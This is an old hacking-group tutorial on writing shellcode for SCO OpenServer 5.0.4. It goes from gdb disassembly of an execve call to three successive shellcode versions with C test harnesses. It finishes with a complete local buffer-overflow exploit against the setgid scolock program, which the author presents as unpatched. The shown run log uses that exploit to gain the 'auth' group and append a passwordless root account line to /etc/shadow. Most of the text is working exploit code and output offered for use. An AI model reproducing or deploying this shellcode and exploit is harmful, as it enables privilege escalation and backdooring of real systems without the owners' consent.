Make your own free website on Tripod.com
Programming a shellcode in SCO
By Renegade Master
Introduction
The first time I faced programming an exploit based upon a buffer overflow,

it was under Linux and I simply selected a shellcode which was previously

coded by someone else from the tons available and pasted it into my code.
Nonetheless when I tried to do the same in SCO i realized that there weren't

practically any shellcodes for SCO, I could only find 2 acceptable

shellcodes (although they lacked debugging) which were the ones the rest

were based upon.
Thus I decided to start programming my own shellcode from scratch, trying to

make it more efficient and compact than the other ones. This is the

result...
Gdb
Firstly let's take a look at how a SCO machine works when it executes a

command (/bin/sh in this case).
**NOTE** All examples are taken from a SCO OpenServer 5.0.4 machine so some

of them may not work under another SCO type of Unix (like unixware) although

I have tried to make it as portable as possible.
We create a little program in C that simply executes '/bin/sh'.
-execve.c-----------------------------------------------------------------



main() {
execve("/bin/sh",0,0);
}



--------------------------------------------------------------------------
scosysv:~$ ./execve



$
It works.
We compile it and trace it through the debugger (gdb in this case) to see

its assembler output.
scosysv:~# gdb



GDB is free software and you are welcome to distribute copies of it

under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.



GDB 4.15.1 (i486-sco3.2v5.0), Copyright 1995 Free Software Foundation, Inc.



(gdb) file execve



Reading symbols from execve...(no debugging symbols found)...done.



(gdb) disassemble main



Dump of assembler code for function main:



0x15c <main>:   jmp    0x171 <main+21>



0x15e <main+2>: pushl  $0x0



0x160 <main+4>: pushl  $0x0



0x162 <main+6>: pushl  $0x400878



0x167 <main+11>:        call   0x2fc <_execve>



0x16c <main+16>:        addl   $0xc,%esp



0x16f <main+19>:        leave



0x170 <main+20>:        ret



0x171 <main+21>:        pushl  %ebp



0x172 <main+22>:        movl   %esp,%ebp



0x174 <main+24>:        jmp    0x15e <main+2>



0x176 <main+26>:        nop



0x177 <main+27>:        nop



End of assembler dump.



(gdb) disassemble execve



Dump of assembler code for function _execve:



0x2fc <_execve>:        movl   $0x3b,%eax



0x301 <_execve+5>:      lcall  0x7,0x0



0x308 <_execve+12>:     jmp    0x7f8 <_cerror>



0x30d <_execve+17>:     nop



0x30e <_execve+18>:     nop



0x30f <_execve+19>:     nop



End of assembler dump.
Once this has been seen we obtain a little assembler draft.
main:



        pushl 0x0



        pushl 0x0



        pushl address_of_/bin/sh



        call execve



execve:



        movl $0x3b,%eax



        lcall 0x7,0x0
As you can see it is simpler than in other systems like Linux, just 6 lines

of assembly code.
It still is a very rough draft and needs to be sharpened, but it will become

the skeleton of our shellcode.
Shellcode 1
We've already a little assembly draft of what we should do, so we start with

a very simple shellcode, without any kind of debugging, it will serve us as

a foundation to develop more advanced ones.
We start from the previous draft:
main:



        pushl 0x0



        pushl 0x0



        pushl address_of_/bin/sh



        call execve



execve:



        movl $0x3b,%eax



        lcall 0x7,0x0
We have to add to it some more code:
(1) We need to put the string /bin/sh in memory

(2) We need a routine to know where that string is located.
The code we obtain is:
"\xeb\x12" // start: jmp uno (2)



"\x5e" // dos: popl %esi



"\x31\xdb" // xorl %ebx,%ebx



"\x31\xc0" // xorl %eax,%eax



"\xb0\x3b" // movb $0x3b,%al



"\x53" // pushl %ebx



"\x53" // pushl %ebx



"\x56" // pushl %esi



"\x56" // pushl %esi (3)



"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0



"\xe8\xe9\xff\xff\xff" // uno: call dos



"/bin/sh\x00"; // (1)
(1) We put the string /bin/sh at the end of the code.
(2) We do a call before the string /bin/sh [call dos], thus the address of

the string is stored on the stack (when we do a call the %eip register is

pushed on the stack) then we retrieve it and store it in %esi [popl %esi]
The %eip register is the instruction pointer and the value it takes when we

do the call is the address of the string /bin/sh.
(3) The first three pushl correspond to the execve call. We push a fourth

value onto the stack [pushl %esi] to make the thing work.
We then create a little C simulator to check the code works properly.
-shell30.c----------------------------------------------------------------



char hell[]=



"\xeb\x12" // start: jmp uno



"\x5e" // dos: popl %esi



"\x31\xdb" // xorl %ebx,%ebx



"\x31\xc0" // xorl %eax,%eax



"\xb0\x3b" // movb $0x3b,%al



"\x53" // pushl %ebx



"\x53" // pushl %ebx



"\x56" // pushl %esi



"\x56" // pushl %esi



"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0



"\xe8\xe9\xff\xff\xff" // uno: call dos



"/bin/sh\x00";
void main() {



int *ret;
printf("%i\n",strlen(hell));
ret = (int *)&ret + 2;



(*ret) = (int)hell;



}



--------------------------------------------------------------------------
scosysv~$ shell30



14



$
It works.
Shellcode 2
The previous shellcode isn't very useful in practice as it contains null

characters \x00 that will give us many troubles if we want to use them to

exploit an overflow.
The null character represents the end of a string, so usually if we try to

use a shellcode with null characters in an exploit, it will be cut when it

is handled by the target program.
This second shellcode corrects this defect removing every null bytes with a

little self modification routine.
"\xeb\x16" // start: jmp uno



"\x5e" // dos: popl %esi



"\x31\xdb" // xorl %ebx,%ebx



"\x89\x5e\x07" // movb %bl,0x7(%esi)    -> This three lines will set to zero



"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)     the bytes that were \x00 (and now



"\x88\x5e\x11" // movb %bl,0x11(%esi)      \xaa)



"\x31\xc0" // xorl %eax,%eax



"\xb0\x3b" // movb $0x3b,%al



"\x53" // pushl %ebx



"\x53" // pushl %ebx



"\x56" // pushl %esi



"\x56" // pushl %esi



"\xeb\x10" // jmp execve



"\xe8\xe5\xff\xff\xff" // uno: call dos



"/bin/sh"



"\xaa\xaa\xaa\xaa"



"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
The code can be still improved, we could afford 3 or 4 bytes in its size but

this improvement would be of little relevance.
We change the call to execve [lcall 0x7,0x0] at the end of the code to make

it easier to handle.
We use again the simulator to check it is working:
-shell15.c----------------------------------------------------------------



char hell[]=



"\xeb\x16" // start: jmp uno



"\x5e" // dos: popl %esi



"\x31\xdb" // xorl %ebx,%ebx



"\x89\x5e\x07" // movb %bl,0x7(%esi)



"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)



"\x88\x5e\x11" // movb %bl,0x11(%esi)



"\x31\xc0" // xorl %eax,%eax



"\xb0\x3b" // movb $0x3b,%al



"\x53" // pushl %ebx



"\x53" // pushl %ebx



"\x56" // pushl %esi



"\x56" // pushl %esi



"\xeb\x10" // jmp execve



"\xe8\xe5\xff\xff\xff" // uno: call dos



"/bin/sh"



"\xaa\xaa\xaa\xaa"



"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
void main() {



int *ret;
printf("%i\n",strlen(hell));
ret = (int *)&ret + 2;



(*ret) = (int)hell;



}



--------------------------------------------------------------------------
scosysv~$ shell15



47



$
It works.
Shellcode 3
We will add one more layer of complexity, now we want the shellcode to

execute not only a shell (/bin/sh) but also a complete command and we also

want it to let us modify the command without the need to recompile the whole

shellcode.
This means it is more complex as we used a little trick to reduce the size

of the first shellcode.
The call to execve works in the following way:
execve(address_of_the_command,array_of_parameters,array_of_environment_variables)





In assembler it would be:
push array_of_environment_variables



push array_of_parameters



push address_of_the_command



call execve
In the first shellcode we had simplified the two arrays setting in their

place a null pointer:
push 0



push 0



push address_of_the_string_/bin/sh



call execve
Now we cannot define a null pointer as an array of parameters and we have to

create an array for them.
The array has to contain the command name (argv[0]) and the rest of the

arguments.
To reduce the number of elements in the array we'll use the '-c' option of

the shell.
/bin/sh    -c    "command"



argv[0]  argv[1]  argv[2]
Thus the array appears like this:



argv[0] -> address of the string /bin/sh



argv[1] -> address of the string -c



argv[2] -> address of the string which contains the command



0 -> null pointer
16 bytes total.
And in assembler:
push 0



push address_of_array



push argv[0] -> address of the string /bin/sh



call execve
Now let's see the resulting shellcode obtained after applying this changes to

our shellcode.
"\x31\xdb" // xorl %ebx,%ebx



"\x31\xc0" // xorl %eax,%eax



"\xeb\x30" // jmp uno



"\x5e" // dos: popl %esi



"\x8d\x7e\x10" // leal 16(%esi),%edi



"\x89\xf9" // movl %edi,%ecx



"\x89\x3e" // movl %edi,(%esi)



"\x8d\x7e\x18" // leal 24(%esi),%edi -> Array creation routine



"\x89\x7e\x04" // movl %edi,4(%esi)



"\x8d\x7e\x1b" // leal 27(%esi),%edi



"\x89\x7e\x08" // movl %edi,8(%esi)



"\x89\x5e\x0c" // movl %ebx,12(%esi)



"\x89\x5e\xf5" // movl %ebx,-11(%esi) -> \xaa correction routine



"\x88\x5e\xfa" // movb %bl,-6(%esi)



"\x88\x5e\x17" // movb %bl,23(%esi)



"\x88\x5e\x1a" // movb %bl,26(%esi)



"\x53" // pushl %ebx



"\x56" // pushl %esi



"\x51" // pushl %ecx



"\x51" // pushl %ecx



"\xb0\x3b" // movb 0x3b, %al



"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0



"\xe8\xcb\xff\xff\xff" // uno: call dos



"AAAA" // +0 -> This is the array



"AAAA" // +4



"AAAA" // +8



"AAAA" // +12



"/bin/shA" // (1) +16 0x10(%esi) -> first string



"-cA" // (2) +24 0x18(%esi) -> second string



""; // (3) +27 0x1b(%esi) -> We allocate this space to put here the string

                             of the command to execute.
We add a routine which creates a 16 bytes array and stores the addresses of

the 3 relevant strings in it, and a null pointer as fourth item of the array

to define the end of the array.
The number of lines of code to substitute the \xaa by \x00 characters is

longer.
Now the simulator is a bit more complex:
-shell33.c-----------------------------------------------------------------



char hell[]=



"\x31\xdb" // xorl %ebx,%ebx



"\x31\xc0" // xorl %eax,%eax



"\xeb\x30" // jmp uno



"\x5e" // dos: popl %esi



"\x8d\x7e\x10" // leal 16(%esi),%edi



"\x89\xf9" // movl %edi,%ecx



"\x89\x3e" // movl %edi,(%esi)



"\x8d\x7e\x18" // leal 24(%esi),%edi



"\x89\x7e\x04" // movl %edi,4(%esi)



"\x8d\x7e\x1b" // leal 27(%esi),%edi



"\x89\x7e\x08" // movl %edi,8(%esi)



"\x89\x5e\x0c" // movl %ebx,12(%esi)



"\x89\x5e\xf5" // movl %ebx,-11(%esi)



"\x88\x5e\xfa" // movb %bl,-6(%esi)



"\x88\x5e\x17" // movb %bl,23(%esi)



"\x88\x5e\x1a" // movb %bl,26(%esi)



"\x53" // pushl %ebx



"\x56" // pushl %esi



"\x51" // pushl %ecx



"\x51" // pushl %ecx



"\xb0\x3b" // movb 0x3b, %al



"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0



"\xe8\xcb\xff\xff\xff" // uno: call dos



"AAAA" // +0



"AAAA" // +4



"AAAA" // +8



"AAAA" // +12



"/bin/shA" // (1) +16 0x10(%esi)



"-cA" // (2) +24 0x18(%esi)



""; // (3) +27 0x1b(%esi)
char buf[300];
void main(int argc, char **argv) {



int *ret;



char cmd[200];



char test[]="/usr/bin/id";



char end[]=";\x00";
printf("%i\n",strlen(hell));
if(argc < 2) {



        memcpy(cmd,test,strlen(test));



        memcpy(buf,hell,strlen(hell));



        memcpy(buf+strlen(hell),cmd,strlen(cmd));



        memcpy(buf+strlen(hell)+strlen(cmd),end,strlen(end));



} else {



        if(argc == 2) {



                strncpy(cmd,argv[1],strlen(argv[1]));



                memcpy(buf,hell,strlen(hell));



                m       emcpy(buf+strlen(hell),cmd,strlen(argv[1]));



                memcpy(buf+strlen(hell)+strlen(argv[1]),end,strlen(end));



        } else {



                printf("Uso: shell33 \"comando\"\n");



                exit(0); }



        }
ret = (int *)&ret + 2;



(*ret) = (int)buf;
}



--------------------------------------------------------------------------
The new snippets add the string string holding the command to be executed at

the end of the shellcode.
scosysv~$ shell33 "/usr/bin/id"



86



uid=200(guest) gid=50(group) groups=50(group)
scosysv~$ shell33 "echo hola"



86



hola
It works.
Exploit 1
Once we have a theoretically working shellcode, we have to test whether it

works or not in practice, inside of an exploit.
The bug which we're going to exploit is an overflow in one of the scolock

(/usr/bin/X11/scolock) program's arguments, a suid screen saver as group



'auth'. -> sgid(auth)
$ ls -al /opt/K/SCO/BaseX/5.1.2b/usr/bin/X11/scolock



-rwxr-sr-x   1 root     auth      155956 May 25 22:50 scolock
This group has read/write access to the /etc/shadow file thus obtaining root

using this exploit is hardly a question of time.
$ ls -al /etc/shadow



-rw-rw----   1 root     auth         323 Jun 14 23:09 /etc/shadow
This program has several exploitable overflows, but let's concentrate in the

one that is produced with the '-bg' argument.
The following exploit is an unpublished one, and there is no patch for the

bug: (Oh my god! someone send this to bugtraq! ;)
-scolockx.c---------------------------------------------------------------



/*

 * <scolockx.c> Local exploit - Gives you an auth group suid shell

 *

 * h0h0h0!! auth group has read/write access to /etc/shadow (w3 4r3 r00t!)

 *

 * $ ls -al /etc/shadow

 * -rw-rw----   1 root     auth         323 Jun 14 23:09 /etc/shadow

 *

 * Offset: scolockx (SCO OpenServer 5.0.4)

 * 0 -> with -display parameter

 *

 * Usage:

 * $ cc scolockx.c -o scolockx

 * $ /usr/bin/X11/scolock -display 1.1.1.1:0 -bg `scolockx 0`

 *

 * Note: scolock need to be run from a valid x-display

 *

 * By: The Renegade Master

 *

 */
#include <stdlib.h>

#include <stdio.h>
char hell[]=



"\xeb\x16" // start: jmp uno



"\x5e" // dos: popl %esi



"\x31\xdb" // xorl %ebx,%ebx



"\x89\x5e\x07" // movb %bl,0x7(%esi)



"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)



"\x88\x5e\x11" // movb %bl,0x11(%esi)



"\x31\xc0" // xorl %eax,%eax



"\xb0\x3b" // movb $0x3b,%al



"\x53" // pushl %ebx



"\x53" // pushl %ebx



"\x56" // pushl %esi



"\x56" // pushl %esi



"\xeb\x10" // jmp execve



"\xe8\xe5\xff\xff\xff" // uno: call dos



"/bin/sh"



"\xaa\xaa\xaa\xaa"



"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
#define OFF 0x8047a98   // SCO OpenServer 5.0.4



#define ALINEA 0



#define LEN 2000
int main(int argc, char *argv[]) {
int offset=0;



char buf[LEN];



int i;
if(argc < 2) {



        printf("Usage: scolockx <offset>\n");



        exit(0); }



else {



        offset=atoi(argv[1]); }
memset(buf,0x90,LEN);



memcpy(buf+1000,hell,strlen(hell));



for(i=1100+ALINEA;i<LEN-4;i+=4)



        *(int *)&buf[i]=OFF+offset;
for(i=0;i<LEN;i++)



        putchar(buf[i]);
exit(0);



}



--------------------------------------------------------------------------
scosysv:~$ /usr/bin/X11/scolock -display 127.0.0.1:0.0 -bg `./scolockx 0`



Warning: Color name "ë^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªª



ªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;S



SVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz



zzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿ



Warning: some arguments in previous message were lost



$ id



uid=200(guest) gid=50(group) egid=21(auth) groups=50(group)



$ echo "draver::0:0:r00t:/:/bin/sh" >> /etc/shadow







As you can see the exploit couldn't be simpler, the most important part is the

shellcode, there is where the need to obtain a good shellcode comes, compact

and reliable.







Other important points to take into account are that the overflowed buffer

is about 1800 characters in size, with a correct alignment and a return

address which is approximately 0x8047a98. With this information and the

shellcode coding the exploit was trivial indeed.











Conclusion





The first step we should make in every platform to code our own exploits is

to obtain a good shellcode, using a previously coded, modifying it or

creating our own.







But we will achieve the most control over the exploit when the shellcode is

self-made.







Greetings







  Renegade Master



 

(C) 1997-2001 by !Hispahack
Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator